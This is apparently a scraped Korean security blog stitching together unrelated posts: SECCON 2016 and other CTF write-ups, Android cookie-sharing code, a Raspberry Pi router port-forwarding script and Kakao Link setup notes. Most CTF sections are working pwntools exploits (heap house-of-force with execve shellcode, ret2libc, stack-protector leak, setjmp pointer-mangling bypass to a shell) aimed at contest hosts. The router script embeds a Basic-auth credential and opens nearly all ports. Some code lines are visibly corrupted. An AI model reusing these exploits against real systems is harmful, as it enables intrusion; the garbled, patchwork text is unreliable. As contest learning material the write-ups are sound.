top chunk를 ffffffffffffffff로 덮고 다음 malloc할때 got부분을 할당받으면 된다

1
2
3
4
0x00400000         0x00402000         r-xp    /root/logger
0x00601000         0x00602000         r-xp    /root/logger
0x00602000         0x00603000         rwxp    /root/logger
0x00603000         0x00624000         rwxp    [heap]
cs

heap의 권한이 rwxp이기때문에 힙에다 쉘코드를 넣으면 된다


2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
 
elf = "/root/pwn/seccon/logger"
#lib32 = "/root/pwn/seccon/libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368"
#lib64 = "/lib/x86_64-linux-gnu/libc-2.21.so"
 
# s = process(elf)
# s1 = process(elf)
= remote('logger.pwn.seccon.jp',6565)
s1 = remote('logger.pwn.seccon.jp',6565)
= ELF(elf)
#l = ELF(lib32)
 
DEBUG = 0
if DEBUG > 0:
    print "PID : %d" % util.proc.pidof(s)[0]
    if DEBUG == 2:
        context.log_level = 'debug'
 
uid = str(time.time())
#uid = "debug"
 
s.recvuntil("exit")
s.sendline("1")
s.sendline(uid)
s.sendline(uid)
s.recvuntil("exit")
print "[*] id : %s" % uid
 
s1.sendline("1")
s1.sendline(uid)
s1.sendline(uid)
 
def read(ss):
    ss.sendline("1")
    return ss.recvuntil("exit").split("1. Read log")[0]
def append(ss,size,data):
    ss.sendline("2")
    ss.recvuntil("128byte")
    ss.sendline(str(size))
    ss.sendline(data)
    ss.recvuntil("exit")
def leak(ss):
    ss.sendline("3")
    ss.recvuntil("filename: ")
    ss.recv(32)
    t = ss.recvuntil("=")[:-1]
    t += ("\x00" * (8-len(t)))
    ss.recvuntil("exit")
    return t
 
#buf = malloc(file_size) leak
heap_addr = u64( leak(s) )
print "[*] LEAK_HEAP : %x" % heap_addr
 
#house of force
#topchunk = ffffffffffffffff
append(s1,32,"\xff"*32)
read(s)
 
offset = 0x602050 - 0x28 - heap_addr# - (32+16)
print "[*] offset : %d" % offset
#append(s,"%d"%offset,"A")
append(s,"%d"%offset,"")
 
#got Overwrite
s.sendline("2")
s.sendline("128")
#http://shell-storm.org/shellcode/files/shellcode-806.php
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
sc = "\x90"*(0x40-len(sc)) + sc
sc += p64(0x602080)
s.sendline(sc)
s.interactive()
cs




'CTF' 카테고리의 다른 글

codegate 2017  (0) 2017.02.11
SECCON_2016 cheer  (0) 2016.12.11
SECCON_2016 checker  (0) 2016.12.11
SECCON_2016 jmper  (0) 2016.12.11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
 
elf = "/root/pwn/seccon/cheer_msg"
lib32 = "/root/pwn/seccon/libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368"
#lib64 = "/lib/x86_64-linux-gnu/libc-2.21.so"
 
#s = process(elf)
= remote('cheermsg.pwn.seccon.jp',30527)
= ELF(elf)
= ELF(lib32)
 
DEBUG = 1
if DEBUG == 2:
    context.log_level = 'debug'
 
print s.recv()
s.sendline("-142")
print s.recv()
ppppr = 0x80487AC
main = 0x080484B0
offset = l.symbols['printf'- l.symbols['system']
#sh = p32(0x08048627) + p32(0x804a090) + p32(0x804a090-1) + p32(100)
#sh += p32(0x080485CA) + p32(ppppr + 1) + p32(0x804A020) + p32(20)
#sh = p32(0x0804863C) + p32(0x0804A065)
#sh = "A"*80+"PPPR12345678asdfzxcv" + "\n"
sh = p32(e.symbols['printf']) + p32(main) + p32(e.got['printf'])
raw_input()
 
#s.send("A"*0x30+shellcode)
s.sendline    ( "A"*0x10 + 
            sh)
print s.recvuntil("Message : ")
print s.recvuntil("\n")
leak = u32(s.recv(4))
 
print "[*] LEAK : %x" % leak
 
print s.recvuntil("Message Length >>")
s.sendline("-142")
 
sh = p32(leak - offset) + "AAAA" + p32(leak - (l.symbols['printf'- list(l.search("sh\x00"))[0]))
 
s.sendline( "A"*0x10 + sh)
s.interactive()
cs




'CTF' 카테고리의 다른 글

codegate 2017  (0) 2017.02.11
SECCON_2016 logger  (0) 2016.12.14
SECCON_2016 checker  (0) 2016.12.11
SECCON_2016 jmper  (0) 2016.12.11

SSP에서 stack smashing detected 뒤에 나오는 argv[0]포인터를 FLAG 버퍼로 변조하면 된다

1
2
3
4
5
6
7
8
9
10
11
12
sc = "kk\n"
sc +="A"*384+"\n"
sc +="A"*383+"\n"
sc +="A"*382+"\n"
sc +="A"*381+"\n"
sc +="A"*380+"\n"
sc +="A"*379+"\n"
sc +="A"*378+"\n"
sc +="A"*377+"\n"
sc +="A"*376+"\xc0\x10\x60\x00\n"
sc +="yes\na\n"
print sc
cs


'CTF' 카테고리의 다른 글

codegate 2017  (0) 2017.02.11
SECCON_2016 logger  (0) 2016.12.14
SECCON_2016 cheer  (0) 2016.12.11
SECCON_2016 jmper  (0) 2016.12.11

[*] '/root/pwn/seccon/jmper'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE


[_]FULL RELRO가 걸려있어서 got를 덮다 프로그램이 죽는바람에 놀랐다


00 : BUF

08 : NUM
10 : NAME
18
20
28 : *MEMO

 i = 0; i <= 32; ++i
1byte overflow가 나고 NAME에서 MEMO의 1byte를 조작후 MEMO포인터를 가르키게한뒤 그 포인터를 수정하면 원하는곳에 있는 데이터를 수정 가능하다

MEMO포인터를 변조해 LIBC, _setjmp할때 쓰인 XOR 키값을 빼오고 _setjmp(jmpbuf)할때 저장된 rsp,rip를 변조해서 원샷가젯으로 가게하면 된다
rsp + 0x30 ???인가가 원샷가젯 두번째 인자로 들어가서 그부분이 0을 가르키게 rsp를 조작해야된다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
 
elf = "/root/pwn/seccon/jmper"
lib64 = "/root/pwn/seccon/libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e"
#lib64 = "/lib/x86_64-linux-gnu/libc-2.21.so"
 
#s = process(elf)
= remote('jmper.pwn.seccon.jp',5656)
= ELF(elf)
= ELF(lib64)
print s.recvuntil("Bye :)")
 
DEBUG = 1
if DEBUG == 2:
    context.log_level = 'debug'
 
def ROR(data, shift, size=64):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)
def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
def add():
    s.sendline("1")
    print s.recvuntil("Bye :)")
 
def name(id,t):
    s.sendline("2")
    print s.recv()
    s.sendline(str(id))
    print s.recv()
    s.send(t)
    print s.recvuntil("Bye :)")
 
def memo(id,t):
    s.sendline("3")
    print s.recv()
    s.sendline(str(id))
    print s.recv()
    s.send(t)
    print s.recvuntil("Bye :)")
 
def v_name(id):
    s.sendline("4")
    print s.recv()
    s.sendline(str(id))
    print s.recvuntil("ID:")
    return s.recv()
 
def v_memo(id):
    s.sendline("5")
    print s.recv()
    s.sendline(str(id))
    return s.recvuntil("1.")[:-2]
add()
 
memo(0,"A"*0x1f+"B\n")
leak_heap = v_memo(0).split("B")[1]
leak_heap += "\x00"*(8-len(leak_heap))
leak_heap = u64(leak_heap)
 
print "[*] LEAK HEAP : %x" % leak_heap
if leak_heap&0xff < 0x20:
    print "FAIL"
    exit()
memo( 0"A"*0x20 + chr( (leak_heap&0xff- 0x18 ) )
name( 0,p64(e.got['printf'])+"\n")
leak_libc = u64(v_name(0)[:6]+"\x00\x00")
print "[*] LIBC LEAK : %x" % leak_libc
 
add()
 
memo(1,"A"*0x1f+"B\n")
leak_heap = v_memo(1).split("B")[1]
leak_heap += "\x00"*(8-len(leak_heap))
leak_heap = u64(leak_heap)
 
print "[*] LEAK HEAP : %x" % leak_heap
if leak_heap&0xff < 0x20:
    print "FAIL"
    exit()
memo( 1"A"*0x20 + chr( (leak_heap&0xff- 0x18 ) )
 
jmper = leak_heap-0x180
ret = jmper+0x30
ori_ret = 0x00400C31
add()
# print "PID : %d" % util.proc.pidof(s)[0]
# raw_input()
name( 1, p64(ret)+"\n" )
leak_ret = u64(v_name(1)[8:16])
xorkey = ROR(leak_ret,0x11) ^ ori_ret
oneshot = leak_libc - l.symbols['printf'+ 0x04647C
rreett = ROL(oneshot^xorkey,0x11)
rsp = ROL((leak_heap+0x400)^xorkey,0x11)
print "[*] LEAK JMPER_ADDR : %x" % jmper
print "[*] LEAK RET : %x" % leak_ret
print "[*] XOR KEY : %x" % xorkey
print "[*] change,xor : %x,%x" % (oneshot,rreett)
print (p64(rsp)+p64(rreett)).encode('hex')
add()
name (1,p64(rsp)+p64(rreett)+"\n")
s.send("1\n"*27)
s.interactive()
cs


'CTF' 카테고리의 다른 글

codegate 2017  (0) 2017.02.11
SECCON_2016 logger  (0) 2016.12.14
SECCON_2016 cheer  (0) 2016.12.11
SECCON_2016 checker  (0) 2016.12.11

Httpclient를 한번 생성하고 다른 class에서도 가져다 쓰면 쿠키가 계속 유지된다.

Cookie_class.getInstance().setclient(httpClient);

httpClient = Cookie_class.getInstance().getclient();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Cookie_class {
    private static Cookie_St instance = null;
    private HttpClient httpclient;
    public HttpClient getclient(){
        return httpclient;
    }
    public void setclient(HttpClient a){
        httpclient = a;
    }
    public static synchronized Cookie_St getInstance(){
        if(null == instance){
            instance = new Cookie_St();
        }
        return instance;
    }
}
cs


'Android' 카테고리의 다른 글

Kakao link를 사용해보자 -세팅  (0) 2015.11.12

dns관리는 https://dnszi.com/ 를 사용

python 코드 내용 (공유기는 ktwlan)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import httplib, urllib, base64, socket, time
 
time.sleep(20)
 
= socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('google.com'0))
ip = s.getsockname()[0]
 
headers = {"Authorization" : "Basic a3R1c2VyOm1lZ2FhcA=="}
conn = httplib.HTTPConnection("172.30.1.254")
conn.request("GET""/user/log_through.asp",headers=headers)
response = conn.getresponse()
data = response.read()
conn.close()
 
params = {'fw_del' : 1,'Mac_port_countfw_add':1,'selectport':'ON','select1':'ON'}
params = urllib.urlencode(params)
headers = {"Content-type""application/x-www-form-urlencoded""Accept""text/plain"}
conn = httplib.HTTPConnection("172.30.1.254")
conn.request("POST""/goform/formPortFw_KT", params, headers)
response = conn.getresponse()
data = response.read()
conn.close()
time.sleep(15)
 
params = {'SvrPortFrom':'1','SvrPortTo':'60000','LocalIP':ip,'LocalPortFrom':'1','LocalPortTo':'60000','fwProtocol':'tcp','fw_add':'1','Mac_port_countfw_add':'0','submit-url':'..%2Fuser%2Fkt_page5_1.aspect'}
params = urllib.urlencode(params)
headers = {"Content-type""application/x-www-form-urlencoded""Accept""text/plain"}
conn = httplib.HTTPConnection("172.30.1.254")
conn.request("POST""/goform/formPortFw_KT", params, headers)
response = conn.getresponse()
data = response.read()
conn.close() 

cs

1
2
3
root@raspberrypi:~# cat /etc/rc.local 
/bin/sh/usr/bin/python2.7 /root/start.py
/usr/bin/wget -q -O - 'http://ddns.dnszi.com/set.html?user=unknown84&auth=kkkkkk&domain=kkkkkk&record='
cs


'기타' 카테고리의 다른 글

windows 10 bash ssh  (0) 2016.12.28
X64 asm argv  (0) 2016.12.26
geocoding excel (python) web  (0) 2016.02.04
asm  (0) 2015.10.11
blind sql injection lpad  (0) 2015.04.10

Give Me Flag - 150

As the name of the file implies, this program will give you the flag.

givemeflag

Solves: 80





파일을 열어보면 CA FE BA BE 00 00 00 이런식으로 hex값이 띄어쓰기가 되있는것을 알 수 있고,
f = open('givemeflag','r').read()

>>> open('/Users/jinwoo/Downloads/give2','w').write(open('/Users/jinwoo/Downloads/givemeflag','r').read().replace(" ","").decode('hex'))

를 해주고 확인해보면

➜  Downloads  file give2

give2: compiled Java class data, version 51.0

java class라는것을 알 수 있다.


jad로 class를 디컴파일해준뒤 소스를 수정하면

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.PrintStream;
import java.lang.reflect.Array;
 
public class givemeflag
{
 
    public givemeflag()
    {
    }
 
    public static void main(String[] args){
        String flag="";
            int ai1[] = {
                4329434743014339435143014344433943244339
                43014351433943214326434343204335
            };
            int ai[]  = {
                4329434743014339435143014344433943244339
                43014351433943214326434343204335
            };
            for(int i = 0; i < Array.getLength(ai1); i++)
            {
                    flag+=(char)(ai[i] ^ 0x1092);
            }
            System.out.println(flag);
    }
}
 
 
cs

 ➜  Downloads  java givemeflag

{i_am_java_master}


FLAG : {i_am_java_master}

아랍어 해석불가.....

하나하나 뭐하는건지 주석을 달다가 55 E1...이부분부터 사용되는것만 해석하면서 했다.



00 00 00 00 55 E1 01 00 00 03 0D 0C 55 E2 00 00 00 00 F2 0C 33 BB 00 00 00 00 F2 DD BB 00 DE CC BB 00 00 00 00 01 DD BB 00 AD CC BB 00 00 00 00 01 DD BB 00 C0 CC BB 00 00 00 00 01 DD BB 00 DE CC BB 00 00 00 00 01 DD BB 00 DE CC BB 00 00 00 00 01 DD BB 00 AD CC BB 00 00 00 00 01 DD BB 00 C0 CC BB 00 00 00 00 01 DD BB 00 DE CC BB 00 00 00 00 01 DD BB 00 DE CC BB 00 00 00 00 01 DD BB 00 AD CC BB 00 00 00 00 01 DD BB 00 C0 CC BB 00 00 00 00 01 DD BB 00 DE CC BB 00 00 00 00 01 AA BB 00 00 00 00 F2 33 BB 01 00 00 00 AE AA BB 02 00 00 00 F3 33 BB 03 00 00 00 DA 66 AB 00 01 99 BB 00 00 02 F9 66 AB 02 03 99 BB 00 00 02 F9 AA BB 00 00 00 00 F4 33 BB 01 00 00 00 AE AA BB 02 00 00 00 F5 33 BB 03 00 00 00 BF 66 AB 00 01 99 BB 00 00 02 F9 66 AB 02 03 99 BB 00 00 02 F9 AA BB 00 00 00 00 F6 33 BB 01 00 00 00 AC AA BB 02 00 00 00 F7 33 BB 03 00 00 00 D6 66 AB 00 01 99 BB 00 00 02 F9 66 AB 02 03 99 BB 00 00 02 F9 AA BB 00 00 00 00 F8 33 BB 01 00 00 00 B6 AA BB 02 00 00 00 F9 33 BB 03 00 00 00 EE 66 AB 00 01 99 BB 00 00 02 F9 66 AB 02 03 99 BB 00 00 02 F9 AA BB 00 00 00 00 FA 33 BB 01 00 00 00 EE AA BB 02 00 00 00 FB 33 BB 03 00 00 00 C9 66 AB 00 01 99 BB 00 00 02 F9 66 AB 02 03 99 BB 00 00 02 F9 AA BB 00 00 00 00 FC 33 BB 01 00 00 00 F0 AA BB 02 00 00 00 FD 33 BB 03 00 00 00 A3 66 AB 00 01 99 BB 00 00 02 F9 66 AB 02 03 99 BB 00 00 02 F9 55 E1 01 00 00 03 09 04 55 E0 FF 55 E1 01 00 00 03 02 07 46 41 49 4C 45 44 0A 57 49 4E 0A 45 4E 54 45 52 20 50 41 53 53 20 3A 20 EE 00 00 00 00 00


대충 분석한 결과


write("ENTER PASS

read(0x0,input,0xc)


....

//reg[0]=0xf2

//data[reg[0]]=^data[0xde]

//reg[0]+=0x1

//data[reg[0]]^0xad


xor list

0xde

0xad

0xc0

0xde

0xde

0xad

0xc0

0xde

0xde

0xad

0xc0

0xde


for(i=0;i<0xc;i++)

input[i]^=xorlist[i]


cmp list

0xae

0xda

0xae

0xbf

0xac

0xd6

0xb6

0xee

0xee

0xc9

0xf0

0xa3

for(i=0;i<0xc;i++){

if(input[i]!=cmplist[i])

jmp failed;

}

write("WIN");

exit(0xff);

failed:

write("FAILED");





카카오 링크를 처음 사용해보았다.

우선 https://developers.kakao.com/ 이곳에서

앱만들기를 클릭해서 자기가 원하는 앱 이름을 입력하고 생성한다.


생성한 앱에 들어가서 플랫폼 추가를 누른다


패키지 명을 입력하고 추가

키 해시에는 

를 cmd(terminal)에서 실행한 결과를 입력하면 된다.


이제 Android Studio로 돌아와서 

순서대로 

첫번째 파일에는 

두번째 파일에는 dependencies{  안에

를 추가해준다.

string.xml에는


<string name="kakao_app_key">카카오에서발급받은키값</string>

manifest에는


<meta-data
android:name="com.kakao.sdk.AppKey"
android:value="@string/kakao_app_key" />

를 추가해준다

이제 사용할 준비를 끝냈다.

카카오톡 링크를 사용하는 방법은

https://developers.kakao.com/docs/android#카카오링크

를 보면 된다.

'Android' 카테고리의 다른 글

android apache http 쿠키  (0) 2016.02.23

+ Recent posts